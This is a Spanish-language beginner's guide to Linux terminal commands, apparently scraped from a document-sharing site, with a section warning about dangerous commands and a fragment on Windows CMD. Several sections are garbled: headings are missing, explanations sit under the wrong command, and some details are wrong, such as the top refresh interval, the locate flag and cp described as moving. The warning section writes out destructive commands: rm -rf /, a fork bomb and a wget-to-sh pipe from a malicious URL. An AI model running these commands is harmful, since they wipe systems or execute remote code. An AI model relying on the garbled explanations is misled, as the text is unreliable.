Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Comando ls
El comando ls se utiliza para listar los archivos y directorios que existan dentro de otro
directorio.También se puede combinar con otros parámetros para ver información adicional,
por ejemplo, -l. Ejemplos:
ls-l
Muestra el listado por columnas y con detalles.
ls/nombre-directorio
Lista el contenido del directorio indicado.
2. Comando cd
cd ..
Subimos directamente un nivel respecto al directorio en el que nos encontramos.
cd /nombre-directorio
Abre el directorio especificado en la ruta.
3. Comando pwd
4. Comando cat
cat nombre-archivo.txt
Esto mostrará el contenido del archivo en la terminal.
5. Comando mkdir
El comando mkdir se utiliza para crear los directorios que necesitemos desde la línea de
comandos. Para usarlo debes poner el comando mkdir seguido del nombre del directorio que
quieres crear. También puedes usar / para crear un directorio dentro de otro directorio.
Ejemplos:
mkdir Directorio1
Esto creará un directorio con el nombre establecido.
mkdir Directorio1/Directorio2
Esto creará el Directorio2 dentro del Directorio1.
6. Comando rmdir
rmdir Directorio1
Elimina el Directorio1, siempre que esté vacío.
rmdir Directorio1/Directorio2
Borra el Directorio2.
7. Comando touch
El comando touch nos permite crear un documento con el nombre que le asignemos, listo para
su edición. Su uso es muy sencillo, pero recuerda que luego tienes que añadir el contenido al
archivo, no copia ninguna información. Ejemplos:
touch archivo1.txt
Para crear un archivo simple con el nombre y la extensión que queramos.
8. Comando rm
Si lo que necesitas es borrar un archivo, el comando rm el que tienes que utilizar. La acción de
borrado con rm es irreversible, así que hay que tener precaución con su uso. Ejemplos:
rm archivo1.txt
Para el eliminar el archivo indicado totalmente.
rm -r
Con este modificador se eliminan todos los archivos y subdirectorios.
9. Comando cp
Cuando quieres copiar un archivo dentro de un directorio, puedes hacerlo con el comando
cp. Tan sólo debes indicar el nombre del archivo, dentro del directorio en el que te encuentres,
y la ruta completa del otro directorio. El archivo se copiará con el mismo nombre.
cp ejemplo.txt /home/directorio1
Esto copiará el archivo ejemplo.txt en el directorio1.
cp * home/directorio1
Usando el comodín *, podemos copiar todos los archivos del directorio actual al
directorio indicado (directorio1)
Con el comando top podemos ver una lista con todos los procesos activos que está ejecutando
el sistema. También muestra los consumos de memoria RAM y CPU y todo en tiempo real. Esta
información es muy útil cuando tenemos problemas de rendimiento en el sistema. Ejemplos:
top
El comando simple muestra el listado indicado.
top -d 20
Establecería una frecuencia de refresco de 25 segundos para mostrar el listado con los
resultados.
Si estás empezando con Linux, posiblemente el comando man sea uno de los que más uses.
Con este comando podemos ver un manual sobre las funciones disponibles para un comando
en concreto. Ejemplo:
man top
Esto muestra todas las funciones disponibles para el comando top.
Los .zip son muy usados para comprimir y descomprimir archivos y redicir su tamaño, sobre
todo en el entorno Windows. En Linux puedes usar el comando zip para comprimir un archivo
y unzip para descomprimirlo. Ejemplos:
zip nombre-archivo.pdf
Esto comprime el archivo indicado en .zip.
unzip Ejemplo.zip
Para descomprimir el archivo .zip en el directorio en el que nos encontremos.
En el entorno Linux, el comando más habitual para comprimir archivos es tar.Tiene muchas
funciones y posibilidades, lo que lo convierte en una de las opciones preferidas por los
usuarios. Ejemplos:
locate archivo1
Buscará todos los archivos con el texto archive1 en el sistema.
locate -r archivo1
Hará la búsqueda sin distinguir entre mayúsculas y minúsculas, por lo que obtendrás
resultados de archivo1, Archivo1, arCHIvo2, etc.
17. Comando mv
El comando mv es que que tenemos que utilizar cuando queremos mover un archivo de sitio,
aunque también puedes utilizarlo para cambiar el nombre de un archivo. Ejemplos:
mv /Directorio1/archivo1.txt /Directorio2/
Con este comando moveríamos el archivo1.txt del Directorio1 al Directorio2.
mv /Directorio1/archivo1.txt /Directorio1/archivo2.txt
Y con este comando se cambiaría de nombre el archivo1.txt a archivo2.txt.
18. Comando cp
Si en vez de copiar un archivo queremos copiarlo, el comando que tenemos que usar es cp.Su
uso es similar al comando mv, así que debemos especificar el archivo seguido del nombre del
directorio. Ejemplo:Así copiaríamos archivo1.txt del directorio actual a Directorio2.
cp archivo1.txt /Directorio2/
Así copiaríamos archivo1.txt del directorio actual a Directorio2.
19. Comando df
20. Comando du
du -a /Directorio1
Con el modificador -a podemos ver el tamaño de los archivos incluidos en Directorio1
chmod es el comando que utilizamos en Linux para administrar los permisos de archivos y
directorios. Cambiar los permisos de un directorio o archivo de forma errónea puede causar
problemas, así que hay que usarlo con precaución. Ejemplo:
kill -9 52661
Cancelamos el proceso 52661 con la señal SIGKILL.
El comando ping se utiliza para comprobar que un servidor o un sitio web está conectado a
Internet y responde. Puedes usar el comando ping seguido de cualquier dominio para ver si
responde y con qué dirección IP lo hace.
Con el comando wget podemos descargar un archivo desde una URL o FTP. Tiene distintos
modificadores con lo convierten en una herramienta muy versátil y potente para cualquier
usuario de Linux. Ejemplos:
wget https://url-ejemplo.com/archivo1.txt
Descargamos archivo1.txt desde el dominio indicado.
wget https://url-ejemplo.com/*.txt
Descargamos todos los archivos .txt desde la URL indicada.
Para ponerte sobre aviso, vamos a contarte con qué comandos tienes que
tener más cuidado, sobre todo al principio.
rm –rf * Con esto eliminaremos todos los directorios y subdirectorios, sin
confirmación. El asterisco indica que se haga lo mismo con todo el directorio.
rm –rf / Para borrar todo sin confirmación desde el directorio principal (/) del
sistema. Borrar todo..... ya sabes, mucho cuidado.
:(){ :|: & };: Esto es como una bomba en la que el sistema se llega a saturar por
no poder resolverlo, ya que se repite la función de llamada a los 2 puntos (:) y
se vuelve a llamar a la misma función 2 veces más y así sucesivamente... al
final acaba en bloqueo del sistema y un reset forzado del sistema.
wget URL_Malicios | sh Ya hemos visto para que sirve wget, pero si añades la
URL con el sh (Shell) se ejecutará directamente. ¿Qué contiene el script de la
URL? Ese es el peligro....
mv directorio /dev/null /dev/null en Linux es mandar a la basura y borrar, como
mandarlos a la nada. Mover un directorio o archivo a la nada no parece nada
seguro, así que úsalo con "conocimiento de causa"
Comando Funcionalidad
Comando Funcionalidad
COPY * Copia uno o más archivos a otro lugar (en otra ubicación).
Comando Funcionalidad
Comando Funcionalidad
Comando Funcionalidad
Comando Funcionalidad
COPY ARCHIVO DESTINO Copia uno o más archivos en la dirección que tu elijas.
MOVE ARCHIVO Mueve el archivo concreto que quieras del lugar o carpeta
DESTINO en el que está a otra dirección que le digas. Es como copiar,
pero sin dejar el archivo en su ubicación original.
CHKDSK Cuando algo falla en tu ordenador, este suele ser uno de los
primeros comandos a los que recurrir. Realiza un análisis de
la superficie del disco duro para detectar fallos como
posibles sectores defectuosos, y también hace
comprobaciones en la estructura lógica del sistema de
archivos y repara cualquier error (archivos perdidos,
nombres sin sentido, carpetas a las que no se puede
acceder, etc.).
CONTROL PANEL Un comando que sirve como acceso directo, y que te abre
directamente el Panel de Control de Windows sin que tengas
que andar buscándolo.